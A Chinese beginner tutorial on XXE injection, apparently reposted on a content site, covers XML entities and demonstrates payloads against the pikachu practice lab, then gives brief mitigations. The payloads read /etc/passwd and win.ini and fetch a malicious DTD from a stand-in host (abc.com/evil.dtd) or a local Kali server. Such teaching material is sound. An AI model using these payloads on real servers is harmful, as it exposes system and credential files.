【web安全】——XXE漏洞快速入门

这篇具有很好参考价值的文章主要介绍了【web安全】——XXE漏洞快速入门。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

作者名:Demo不是emo 

主页面链接主页传送门
创作初心:一切为了她
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:该怎么开口呢?今晚天气不错,但还是想你了

【web安全】——XXE漏洞快速入门

目录

 一:初识XXE漏洞

1.XXE简介 

2.XML概念

二:XML语法简析

1.XML基础语法

2.XML实体 

[1].XML的基本结构 

[2].一般实体 

[3].参数实体

[4].预定义实体

[5].内部实体和外部实体

[6].实例演示

 三:漏洞演示

1.漏洞明析 

[1].例一. 

[2].例二

2.检测漏洞

3.漏洞利用

[1].直接外部实体注入 

[2].间接外部实体注入 

四:漏洞防范


 一:初识XXE漏洞

1.XXE简介 

 XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

 那有的小伙伴可能就会问了,那XML又是什么呢

2.XML概念

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。

但是XML和HTML有明显区别如下:   

XML 被设计用来传输和存储数据。 

HTML 被设计用来显示数据。 

二:XML语法简析

1.XML基础语法

先来看一段简单的XML代码

<?xml version=’1.0’?>					//声明XML解析器版本来解析
<person>								//根元素,不一定是person
<name>test</name>						//子元素,意思就是name变量的值是test
<age>20</age>                           //同理
</person>

简单来说XML的语法中,标签就是变量名,标签里面的数据就是变量的值 

但这里也存在一个问题,当数据里出现了尖括号时,就会造成XML数据的解析错误,如下

<name><admin<name>

所以xml语法中也对这种写法最初了规定,即

在XML中某些单独字符,如引号” ‘ & 和 尖括号 都是不允许直接出现在XML文档中(也就是不能直接用刚才那种写法保存这些带有这些单独字符的数据)的,因为XML 解析的时候会分辨不清这种输入到底是数值还是标签

那有什么办法能够保存这些带有特殊字符的数据呢?这就是下面我们要讲的实体 

2.XML实体 

上面的问题必须要解决,所以出现了实体Entity来解决这个问题 实体Entity是一种简单的存储单元就好比xml变量一样可以对它进行赋值﹐并在xml文档中不同的地方对他引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。

[1].XML的基本结构 

上面有一些词可能大家还比较陌生,先简单介绍一些XML基本的结构,由XML声明,DTD部分,XML部分,三部分组成,示意图如下

【web安全】——XXE漏洞快速入门

 DTD部分就是用来定义 XML 文档的合法构建模块的,继续往下看你就明白了

 上面讲到了实体,我们继续来看看

而实体又分为三种,一般实体(通用实体),参数实体,预定义实体 

[2].一般实体 

一般实体的声明<!ENTITY 实体名称 "实体内容">

引用一般实体的方法:&实体名称; 

来看看下面一段使用了一般实体的代码 

<?xml version=’1.0’?>	   // 声明XML解析器版本来解析 

// 运用实体定义变量的写法 
// 即声明一个name变量,值为john
<!DOCTYPE person[         
<!ENTITY name “john”>      
]>				

// 引用一般实体的写法,格式为"&实体名称;"
<person>			      
<name>&name;</name>		   		
<age>20</age>
</person>

范围:普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。 

[3].参数实体

参数实体的声明<!ENTITY % 实体名称  "实体内容">

引用参数实体的方法:%实体名称;

 来看看下面一段使用了参数实体的代码,其实跟一般实体差不多知识%的区别

<?xml version=’1.0’?>       // 声明XML解析器版本来解析 

// 运用参数实体定义变量的写法 
// 即声明一个outer变量,值为John
<!DOCTYPE person[         
<!ENTITY % outer "John">        
%outer;                     //参数实体定义的变量必须先在dtd文件中引用
]>             
 

// 引用参数实体的写法,格式为"%实体名称;"
<person>                  
<name>%name;</name>                   
<age>20</age>
</person>

它必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用

[4].预定义实体

 这玩意在XXE漏洞中一般用不到,有兴趣的同学可以去简单了解一下,我这里就不讲了

[5].内部实体和外部实体

上面讲的那些都是内部实体,实体的值来源于内部,而外部实体顾名思义就是引用外部的值,两者的写法也差不多,外部实体仅仅是多了一个SYSTEM,给大家列了个表格这样大家可以更清楚一点,如下

【web安全】——XXE漏洞快速入门

 注意:引入外部的DTD文件时,dtd文件中存放的就是xml代码,并且引用外部实体的时候还可以使用各种伪协议,而不是仅限于http协议 

[6].实例演示

可能有些人还是比较迷糊, 下面分别给出一个内部实体外部实体的例子大家就能看懂了

来看一段内部实体的例子

<?xml version=”1.0”?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r “hu3sky”>
]>
<note>
<name>&hack3r;</name>
</note>

再来看看外部实体

<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY  name SYSTEM “http://xx.com/aa.dtd”>
]>
<a>
<name>&name;</name>
</a>

 总结一下,内部实体就相当于自己编写DTD内容,而外部实体就相当于引入外部的DTD内容,类似于写JS代码时从外部引入JS文件,这样就能理解了吧,上面的一般实体和参数实体都可以化为外部实体

而XXE漏洞,就存在于外部实体中,我们将恶意代码写入DTD文件中再通过外部实体引入 

 三:漏洞演示

1.漏洞明析 

在这里在复习一下XXE漏洞是什么 

        XXE漏洞就是XML外部实体注入。既然是外部实体注入,那么针对于XXE漏洞肯定就是XML外部实体了。 引入外部实体方式有很多种,比如: 实体ENTITY不仅能用来存储指定数值,他还能从本地文件或者远程文件中调用相关的数据作为后续实体引用。如外部实体(XML External Entity)就是其中之一。 

下面举两个简单的外部实体攻击例子

[1].例一. 

XML内容:
	<?xml version="1.0"?>
	<!DOCTYPE a [
		<!ENTITY % d SYSTEM “file:///etc/passwd”>
        %d;
	]>
	<c>%d;</c>

此时c变量读取的值便是/etc/passwd文件的内容

但这种方式也有问题,就是会涉及到敏感内容,所以还有下面这种攻击方法

[2].例二

XML内容
	<?xml version=’1.0’?>
	<!DOCTYPE a [
			<!ENTITY % d SYSTEM “http://abc.com/evil.dtd”>
	%d;
	]>
	<c>&b;</c>

Evil.dtd内容

	<!ENTITY b SYSTEM “file://etc/passwd”>

该方法通过引入外部的DTD文件,而文件中同样是读取敏感文件的恶意代码,这样被检测的可能性就大大降低 

2.检测漏洞

这里的漏洞环境我们使用的是pikachu这个靶场的XXE关卡,这个靶场应该都有吧,没有的也可以找我拿,打开该靶场的XXE关卡,如下

【web安全】——XXE漏洞快速入门

 可以看到是一个输入框,提示可以接收xml数据

那我们该怎么判断是否存在XXE漏洞呢?其实就是看他是否能够解析XML数据,所以我们直接传入一段XML代码看他能否解析

我们放入下面这段代码

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker "test"> ]> 
<name>&hacker;</name>

这段代码都能看懂吧,就是给name变量赋了一个test值,把代码放到输入框中,点击提交,结果如下

【web安全】——XXE漏洞快速入门

 成功提取到test数据,说明有可能存在XXE漏洞

3.漏洞利用

上面已经检测数来存在XXE漏洞了,那应该怎么利用呢,很简单,就是利用我们刚才讲到的,外部实体引用可以使用的——协议

这里也给大家准备了各种语言支持的协议 ,如下

【web安全】——XXE漏洞快速入门

[1].直接外部实体注入 

直接外部实体注入,就是通过协议直接执行恶意命令

因为我是windows主机,这里我们以file协议来读取c:/windows/win.ini配置文件的内容,xml代码如下(注意这里的路径需要改变写法,不然会受到转义的影响)

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini"> 
]> 
<name>&hacker;</name>

将代码放入输入框提交,结果如下:

【web安全】——XXE漏洞快速入门

 成功读取

[2].间接外部实体注入 

这个也比较简单,就会将恶意代码写在DTD文件中,再引入DTD文件,操作如下

1.构造外部dtd文件

打开虚拟机,这里我选择的是kali,进入根目录,创建一个xxx.dtd的文件,内容如下

<!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

2.使两台机器可以互相连接

这里直接打开apache服务就可以达到这个效果了,主要是为了使xml代码能成功引用到kali的dtd文件 

【web安全】——XXE漏洞快速入门

3.构造XML代码

 引用外部实体的xml代码如下(192.168..0.107是我的kali的ip地址),这里用参数实体给大家演示一下

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd"> 
    %a;
]> 
<hacker>%a;</hacker>

 效果如下,成功读取

【web安全】——XXE漏洞快速入门

四:漏洞防范

 针对于XXE漏洞修复其实只有两点:  

   1、禁止使用外部实体,例如libxml disable_entity_loader(true) 。

   2、过滤用户提交的XML数据,防止出现非法内容。文章来源地址https://www.toymoban.com/news/detail-468651.html

到了这里,关于【web安全】——XXE漏洞快速入门的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Web安全】小白怎么快速挖到第一个漏洞,src漏洞挖掘经验分享,绝对干货!

    src漏洞挖掘经验分享 – 掌控安全以恒 一、公益src 公益src是一个白帽子提交随机发现的漏洞的品台,我们可以把我们随机发现或者是主动寻找到的漏洞在漏洞盒子进行提交。 在挖掘src的时候不能越红线,一般情况下遇到SQL注入 只获取数据库名字以证明漏洞的存在即可,最好

    2024年02月13日
    浏览(75)
  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(37)
  • 一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路! 欢

    2024年01月18日
    浏览(40)
  • 不可思议但又无处不在的漏洞,WEB安全基础入门—业务逻辑漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路! 欢

    2024年02月02日
    浏览(42)
  • web渗透安全学习笔记:1、入门基础知识/ XXS漏洞

        自编写python渗透工具编写学习笔记专栏以来,笔者便发现了一个较为严重的问题:我们大多数文章都是学习如何用python编写扫描与利用漏洞的渗透工具,却没有真正解析漏洞的形成原因,长此以往我们的学习就只会浮于表面,广而不深。为了改变这一现状,笔者决定以深

    2024年02月03日
    浏览(55)
  • 零基础如何学习Web 安全,如何让普通人快速入门网络安全?、

    网络安全现在是朝阳行业,缺口是很大。不过网络安全行业就是需要技术很多的人达不到企业要求才导致人才缺口大 初级的现在有很多的运维人员转网络安全,初级也会慢慢的卷起来,但是岗位多不用怕,以后各大厂也都会要网络安全人员,后续法律也会改革,网络安全只会

    2024年04月22日
    浏览(58)
  • 零基础如何学习 Web 安全,如何让普通人快速入门网络安全?

    前言 网络安全现在是朝阳行业,缺口是很大。不过网络安全行业就是需要技术很多的人达不到企业要求才导致人才缺口大 【一一帮助安全学习(网络安全面试题+学习路线+视频教程+工具)一一】 初级的现在有很多的运维人员转网络安全,初级也会慢慢的卷起来,但是岗位多

    2024年02月12日
    浏览(67)
  • Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

    目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBCMyBatis JDBC:Java语言连接数据库操作 MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc) 代码审计案例:inxedu后台MyBatis注入 Java安全-XXE注入-ReaderBuilder 配置XML允许引入外部解析实体 白盒测试-XXE Java安全-SSTI模版

    2024年04月25日
    浏览(45)
  • XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

    XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。 攻击

    2024年02月10日
    浏览(53)
  • XXE漏洞

    XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。 XML是一种灵活的语言,类似于HTML语言,但是并没有固定的标签,所有标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。 XML声明 DTD文档类型定义 文档元素 CDATA表示包含字符或者文本数据

    2024年02月16日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包